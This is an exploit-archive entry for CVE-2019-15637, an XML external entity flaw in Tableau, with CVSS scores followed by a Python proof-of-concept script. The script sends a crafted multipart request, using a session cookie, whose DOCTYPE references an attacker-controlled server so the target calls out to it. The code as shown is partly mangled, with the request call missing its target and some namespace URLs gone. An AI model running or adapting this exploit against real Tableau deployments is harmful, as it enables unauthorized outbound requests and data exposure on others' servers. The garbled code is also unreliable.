Tableau XML Injection

Credit: Jarad Kopf
Risk: Low
Local: No
Remote: Yes
CWE: CWE-611

CVSS Base Score: 5.5/10
Impact Subscore: 4.9/10
Exploitability Subscore: 8/10
Exploit range: Remote
Attack complexity: Low
Authentication: Single time
Confidentiality impact: Partial
Integrity impact: None
Availability impact: Partial

# Exploit Title: Tableau XXE # Google Dork: N/A # Date: Reported to vendor July 2019, fix released August 2019. # Exploit Author: Jarad Kopf # Vendor Homepage: # Software Link: Tableau Desktop downloads: # Version/Products: See Tableau Advisory: # Tested on: Windows # CVE: CVE-2019-15637 #This comes from #Severity: High ====== CVSS3 Score: AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:L - 7.1 High ====== Product Specific Notes: Malicious workbooks, data sources, and extensions files that are published or used on Tableau Server can trigger this vulnerability #see also #Unfortunately as I did not have access to the source code a lot of this couldn't really be coded. #Lot of this seems to be user specific (zoneid, dashboard etc). Virtually just taking the vulnerable request and running the exploit. #Very bare bones...wish I could've done more, but maybe someone else with access to the source would want to do that as an exercise. import requests import sys from warnings import filterwarnings # Globals proxy = '' proxies = {'http':proxy, 'https':proxy} filterwarnings('ignore') def xxe(target, attackerserver, boundary, cookie, zoneid, dashboard): payload = """<?xml version="1.0" encoding="UTF-8" standalone="no"?><!DOCTYPE root PUBLIC "-//A/B/EN" """ payload += "\""+attackerserver+"\"><svg xmlns:svg=\"\" xmlns=\"\" xmlns:xlink=\"\" width=\"200\" height=\"200\"><text x=\"0\" y=\"20\" font-size=\"20\">test</text></svg>" headers = {'Content-Type': 'multipart/form-data; boundary='+boundary, 'Cookie': 'workgroup_session_id='+cookie} data = "--"+boundary+"\r\n" data += """Content-Disposition: form-data; name=\"zoneId\""""+"\r\n" data += "\r\n" #below will be different for each user - this is the zoneid of the dashboard you're exploiting this against data += zoneid+ "\r\n" data += "--"+boundary+"\r\n" data += """Content-Disposition: form-data; name=\"dashboard\""""+"\r\n" data += "\r\n" #below will be different for each user - the name of the dashboard we have access to which we're exploiting this against data += dashboard + "\r\n" data += "--"+boundary+"\r\n" data += """Content-Disposition: form-data; name=\"wasCanceled\""""+"\r\n" data += "\r\n" data += "false" data += "\r\n" data += "--"+boundary+"\r\n" data += """Content-Disposition: form-data; name=\"extensionManifestContents\""""+"\r\n" data += "\r\n" data += payload data += "\r\n" data += "--"+boundary+"--" r =, headers=headers, data=data, proxies=proxies, verify=False) def main(): if len(sys.argv) != 7: print "(+) usage: %s <target><attackerserver><boundary><workgroup_session_id_cookie><zoneid><dashboardname>" % sys.argv[0] sys.exit(-1) target = sys.argv[1] attackerserver = sys.argv[2] boundary = sys.argv[3] cookie = sys.argv[4] zoneid = sys.argv[5] dashboard = sys.argv[6] xxe(target,attackerserver,boundary,cookie,zoneid,dashboard) print "making request, make sure to catch the HTTP request!" if __name__ == "__main__": main()

Vote for this issue:


Thanks for you vote!


Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.

(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2020,


Back to Top